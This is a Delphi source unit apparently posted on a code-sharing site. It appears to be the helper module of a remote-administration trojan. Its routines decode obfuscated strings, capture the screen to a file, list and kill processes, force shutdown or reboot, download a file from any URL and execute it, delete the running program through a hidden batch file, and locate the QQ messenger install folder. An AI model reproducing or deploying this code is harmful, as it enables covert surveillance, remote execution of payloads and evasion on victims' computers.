PUB.pas
上传用户:jiansibo
上传日期:2015-07-04
资源大小:524k
文件大小:6k
- unit PUB;
- interface
- uses
- Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
- JPEG, Registry, ShellApi, TLHelp32, URLMon, Dialogs, StdCtrls;
- function Uncrypt(str: string): string; //解密字符
- procedure ScreePic; //实现抓图
- function KillProcess(ExeName: string): Boolean; //关闭程序
- function CloseOperate(ID: string): Boolean;
- function EnumerateProcess: string; //列举进程
- procedure SutDwn(dwhat: Char); //关机
- function DownloadFile(SourceFile: string; RunFile: Boolean): Boolean;
- function GetSysDir: string;
- procedure DeleteMe; //删除自己
- implementation
- function Uncrypt(str: string): string; //解密字符
- var
- i: Integer;
- begin
- setlength(Result, Length(str));
- for i := 1 to Length(str) do begin
- if str[i] = '=' then Result[i] := '.'
- else Result[i] := chr(ord(str[i]) - 1);
- end;
- end;
- function GetSysDir: string;
- var
- Dir: Pchar;
- begin
- try
- GetMem(Dir, 255);
- GetsystemDirectory(Dir, 255);
- Result := Dir;
- FreeMem(Dir);
- except
- Result := '';
- end;
- end;
- procedure DeleteMe; //删除自己
- var
- BatchFile: TextFile;
- begin
- AssignFile(BatchFile, 'Delme.bat');
- Rewrite(BatchFile);
- WriteLn(BatchFile, ':try');
- WriteLn(BatchFile, 'del "' + ParamStr(0) + '"');
- WriteLn(BatchFile, 'if exist "' + ParamStr(0) + '"' + ' goto try');
- WriteLn(BatchFile, 'del %0');
- WriteLn(BatchFile, 'del ' + ParamStr(0) + '.bat');
- CloseFile(BatchFile);
- WinexEc(Pchar('Delme.bat'), SW_Hide);
- end;
- procedure ScreePic; //实现抓图
- var
- Fullscreen: TBitmap;
- FullscreenCanvas: TCanvas;
- DC: HDC;
- Jpg: TJPEGImage;
- begin
- Fullscreen := TBitmap.Create; //创建一个BITMAP来存放图象
- try
- Fullscreen.Width := Screen.Width;
- Fullscreen.Height := Screen.Height;
- DC := GetDC(0); //取得屏幕的DC,参数0指的是屏幕
- FullscreenCanvas := TCanvas.Create; //创建一个CANVAS对象
- FullscreenCanvas.Handle := DC;
- Fullscreen.Canvas.CopyRect
- (Rect(0, 0, Screen.Width, Screen.Height), FullscreenCanvas,
- Rect(0, 0, Screen.Width, Screen.Height));
- finally
- FullscreenCanvas.Free; //释放CANVAS对象
- ReleaseDC(0, DC); //释放DC
- end;
- Jpg := TJPEGImage.Create;
- try
- Jpg.Assign(Fullscreen);
- Jpg.Compress;
- Jpg.SaveToFile('C:screen.jpg');
- finally
- Jpg.Free;
- end;
- end;
- function GetHttpFileName(URL: string): string;
- begin
- Delete(URL, 1, 7);
- while Pos('/', URL) > 0 do Delete(URL, 1, Pos('/', URL));
- Result := URL;
- end;
- function DownloadFile(SourceFile: string; RunFile: Boolean): Boolean; //下载文件
- begin
- try
- Result := UrlDownloadToFile(nil, Pchar(SourceFile), Pchar('C:' + GetHttpFileName(SourceFile)), 0, nil) = 0;
- if Result and RunFile then ShellExecute(Application.Handle, Pchar('open'), Pchar('C:' + GetHttpFileName(SourceFile)), Pchar(''), nil, SW_NORMAL);
- except
- Result := False;
- end;
- end;
- function EnumerateProcess: string; //列举进程
- var
- List: TStringList;
- lppe: TProcessEntry32;
- found: Boolean;
- Hand: THandle;
- begin
- List := TStringList.Create;
- try
- Hand := CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
- lppe.dwSize := SizeOf(lppe);
- try
- found := Process32First(Hand, lppe);
- while found do begin
- List.Add(ExtractFileName(lppe.szExeFile) + ' ID: ' + inttoHex(lppe.th32ProcessID, 10));
- found := Process32Next(Hand, lppe);
- end;
- finally
- Closehandle(Hand);
- end;
- finally
- List.SaveToFile('C:result.txt');
- Result := List.Text;
- List.Free;
- end;
- end;
- function KillProcess(ExeName: string): Boolean; //关闭程序
- var
- lppe: TProcessEntry32;
- found: Boolean;
- Hand: THandle;
- idname: string;
- begin
- ExeName := UpperCase(ExeName);
- Hand := CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
- try
- lppe.dwSize := SizeOf(lppe);
- found := Process32First(Hand, lppe);
- while found do begin
- idname := UpperCase(ExtractFileName(lppe.szExeFile));
- if (Pos(ExeName, idname) > 0) then begin
- if terminateprocess(OpenProcess(PROCESS_ALL_ACCESS or PROCESS_TERMINATE, False, dword(lppe.th32ProcessID)), 0) then Result := True;
- Break;
- end;
- found := Process32Next(Hand, lppe);
- end;
- finally
- Closehandle(Hand);
- end;
- end;
- function CloseOperate(ID: string): Boolean;
- var
- i: Longint;
- h: Hwnd;
- begin
- try
- Delete(ID, 1, 4);
- i := StrToInt('$' + ID);
- h := OpenProcess(PROCESS_TERMINATE or PROCESS_ALL_ACCESS, False, i);
- if terminateprocess(h, 0) then begin
- Sleep(500);
- Result := True;
- end
- else Result := False;
- except
- Result := False;
- end
- end;
- procedure SutDwn(dwhat: Char); //关机
- var
- htoken: THandle;
- tkp: token_privileges;
- rr: dword;
- begin
- try
- openprocesstoken(getcurrentprocess(), token_adjust_privileges or token_query, htoken);
- lookupprivilegevalue(nil, 'seshutdownprivilege', tkp.Privileges[0].luid);
- tkp.PrivilegeCount := 1;
- tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
- adjusttokenprivileges(htoken, False, tkp, 0, nil, rr);
- if dwhat = '1' then exitwindowsex(EWX_shutdown, 0);
- if dwhat = '2' then exitwindowsex(EWX_REBOOT, 0);
- if dwhat = '3' then exitwindowsex(EWX_LOGOFF, 0);
- except
- Exit;
- end;
- end;
- function FindQQ: string; //找到QQ目录
- var
- reg: TRegistry;
- begin
- reg := TRegistry.Create;
- Result := 'C:Program FilesTencentqq';
- try
- reg.RootKey := HKEY_LOCAL_MACHINE;
- reg.LazyWrite := False;
- reg.OpenKey('SOFTWARE腾讯QQ', True);
- Result := reg.ReadString('Install');
- reg.CloseKey;
- finally
- reg.Free;
- end;
- end;
- end.